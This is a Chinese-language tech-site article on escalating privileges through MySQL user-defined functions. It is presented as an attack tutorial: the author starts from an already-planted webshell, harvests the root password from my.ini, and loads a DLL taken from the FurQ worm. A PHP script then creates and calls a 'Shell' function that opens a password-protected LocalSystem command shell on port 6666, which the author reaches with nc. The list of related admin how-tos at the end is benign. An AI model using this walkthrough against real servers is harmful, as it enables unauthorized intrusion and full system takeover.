我的编程空间,编程开发者的网络收藏夹
学习永远不晚

怎么给MySQL提升权限

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

怎么给MySQL提升权限

本篇内容介绍了“怎么给MySQL提升权限”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

  其实我们早就能想到.当我们在对MSSQLOracle数据库进行攻击的时候,得到了最数据库中高权限的帐户,往往都是执行特殊的扩展过程或者函数来进行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行的数据库软件之一的MySQL,也是可以进行函数的创建的.由此看来,MySQL的这个漏洞不应称为漏洞而仅仅是一个技术而已.

  废话一堆过后,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通.

  MySQL中创建一个函数的语句为:

  Create Function FunctionName Returns [String|Integer|Real] Soname C:function.dll;

  其中FunctionName指的是函数的名称,C:Function.DLL指的是函数所调用的DLL,而函数名正是DLL中的函数名称.不过这里需要我们注意的是,如果我们需要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF形式的程序编写规则,具体的可以查看MySQL手册的第14节:《为MySQL增加新函数》.而其中STRING,INTEGET,REAL是函数执行后所返回的值的形式.当然,我们大可不必遵循UDF形式的编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到攻击的效果,比如说System("command.com")等等.网上现在以此漏洞进行攻击的FurQ蠕虫就是一个不使用UDF格式的例子.但是注意,这个创建函数的语句必须要求我们所用的MySQL帐户有对mysql这个数据库的写权限,否则无法正常使用.

  好了.了解了原理之后,我们来实战一下如何使用MySQL提升权限.

  在这里我们已经通过各式各样的漏洞取得了一个服务器的WebShell,我这里演示的是angel的spy,因为PHP默认有连接MySQL的函数,而ASP这些需要使用附加的组件来进行连接,本身不具备条件的.

  一般来说,在Win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我们攻克的主机没有非常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密码写进这个My.ini,所以一旦我们读到root用户的密码,就可以操纵整个MySQL或者是服务器了.如图1.

  得到MySQL的Root密码之后,我们需要上传我们的DLL文件,我这里使用的是从FurQ蠕虫中提取的FurQ.dll.执行这个FurQ.DLL中的Shell函数,系统将会在6666端口打开一个带密码的CMDShell,当然,密码我们已经知道,就是"FurQ"几个字符而已.不过我们现在还没有执行的条件.需要通过MySQL将这个函数创建到MySQL中去.

  现在,我们用PHPSPY新建一个PHP文件.

  输入以下的内容

  $link=_connect(127.0.0.1,root,root);

  if (!$link) {

  die(Could NOt Connect The Database!:  . mysql_error());

  };

  echo "Good Boy.Connected!
";

  //这里的rootoot就是从my.ini中读取的用户和密码.

  @mysql_select_db(mysql) or die (use database mysql failed!);

  echo "Yes You Did!
";

  //这里选择使用MySQL数据库表.当然你也可以选择别的,如test.

  $query="Create Function Shell RETURNS INTEGER SONAME d:\wwwroot\FurQ.dll;";

  @$result = mysql_query($query, $link) or die ("Create Function Failed!");

  echo "Goddess...Successed!
";

  //这两句话是关键,执行MySQL的创建函数语句.将d:wwwrootfurq.dll中的Shell函数创建进MySQL中.使得MySQL可以执行这个Shell函数.

  $query="Select Shell();";

  @$result = mysql_query($query, $link) or die ("Execute failed");

  echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
";

  //这一步是执行这个Shell函数,打开服务器的6666端口.

  ?>

  再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器的6666端口,输入这个密码:FurQ.然后就返回CMDSHELL了..当然,由于继承的是MySQL的权限,而Win系统下MySQL默认以服务安装,也就是说,我们得到的Shell为LocalSystem权限,可以为所欲为了,不过不要做坏事哦.呵呵.

“怎么给MySQL提升权限”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注亿速云网站,小编将为大家输出更多高质量的实用文章!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

怎么给MySQL提升权限

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

mysql怎么给用户赋予权限

要给MySQL用户赋予权限,可以使用GRANT语句。GRANT语句用于给用户授予特定权限,语法如下:GRANT privileges ON database.table TO user@host IDENTIFIED BY 'passwo
mysql怎么给用户赋予权限
2024-04-09

linux怎么给文件赋权限

在Linux系统中,可以使用chmod命令来给文件赋予不同的权限。chmod命令的语法如下:chmod [选项] 模式 文件名其中,选项可以是以下之一:-c:显示权限修改的详细信息;-R:递归地修改目录及其子目录中的文件权限;-v:
linux怎么给文件赋权限
2024-02-29

MySQL低权限提权的方法

目录背景1. 利用已知漏洞2. 利用存储过程3. 利用UDF(用户定义函数)4. 利用Trigger小结背景在mysql数据库中,用户被分为不同的权限级别,包括超级用户(root)以及其他普通用户。普通用户可能仅具有对特定数据库或表的读取
MySQL低权限提权的方法
2024-09-19

怎么添加一个mysql用户并给予权限

这篇“怎么添加一个mysql用户并给予权限”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“怎么添加一个mysql用户并给予权限
2023-07-05

linux怎么给普通用户提供root用户的权限

本篇内容主要讲解“linux怎么给普通用户提供root用户的权限”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“linux怎么给普通用户提供root用户的权限”吧!sudo 的特点限制用户执行指定
2023-06-05

虚拟主机怎么给写权限

要给虚拟主机设置写权限,你可以按照以下步骤操作:1. 登录到你的虚拟主机的控制面板或服务器管理界面。2. 找到文件管理器或类似的工具,并进入你想要设置写权限的目录。3. 选中要设置权限的文件或文件夹,通常可以通过右键点击选择"属性"或"文件
2023-09-12

linux给用户权限怎么设置

在Linux系统中,可以使用chmod命令来设置用户的权限。该命令的基本语法如下:chmod [选项] 权限 文件或目录其中,选项包括:-c:显示权限变更的详细信息;-R:递归地应用权限变更到所有子目录和文件;-v:显示权限变更的详
2023-10-23

C++ AdjustTokenPrivileges 提升访问令牌权限

在C++中使用`AdjustTokenPrivileges`函数可以提升访问令牌的权限。下面是一个示例代码:```cpp#include #include int main() {HANDLE hToken;TOKEN_PRIVILEGES
2023-09-15

oracle怎么给用户赋予权限

在Oracle数据库中,可以通过以下步骤给用户赋予特定权限:登录Oracle数据库管理工具,如SQL*Plus或SQL Developer。使用管理员用户在数据库中创建一个新用户,或者使用已有用户。使用管理员用户执行如下语句,给用户赋予特定
oracle怎么给用户赋予权限
2024-04-09

linux怎么给用户组赋权限

要给用户组赋予权限,在Linux中可以使用chmod命令。以下是赋予用户组权限的步骤:打开终端并以root用户身份登录。使用以下命令来给用户组赋予权限:chmod 在上述命令中,将"“替换为您想要赋
linux怎么给用户组赋权限
2024-02-29

oracle怎么给用户查询权限

在Oracle中,可以通过以下步骤为用户授予查询权限:首先,以系统管理员的身份登录到Oracle数据库。使用以下语句为用户授予查询权限:GRANT SELECT ON table_name TO user_name;其中,table_nam
oracle怎么给用户查询权限
2024-04-09

sql怎么把查询权限授权给用户

要将查询权限授权给用户,可以使用以下SQL语句:GRANT SELECT ON database.table TO user;其中,database是数据库名称,table是要授权的表名,user是要授权的用户名。如果要授权用户对所有
sql怎么把查询权限授权给用户
2024-04-09

Fedora JDK怎么给java.sh分配权限

这期内容当中小编将会给大家带来有关Fedora JDK怎么给java.sh分配权限,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。Fedora JDK还是比较常用的,于是我研究了一下Fedora JDK,在
2023-06-16

ubuntu怎么给文件夹改权限

要给一个文件夹改变权限,可以使用 chmod 命令。它可以用来改变文件或文件夹的权限。要给文件夹改变权限,可以使用以下命令:```shellchmod [权限模式] [文件夹路径]```其中,[权限模式] 是一个三位数的数字,用来表示文件夹
2023-10-12

MySQL怎么给用户赋予创建视图的权限

要给用户赋予创建视图的权限,首先需要确保你具有足够的权限来执行此操作。然后可以按照以下步骤进行操作:1. 使用管理员账户登录到MySQL数据库。2. 执行以下命令以授予用户创建视图的权限:```GRANT CREATE VIEW ON da
2023-10-12

编程热搜

目录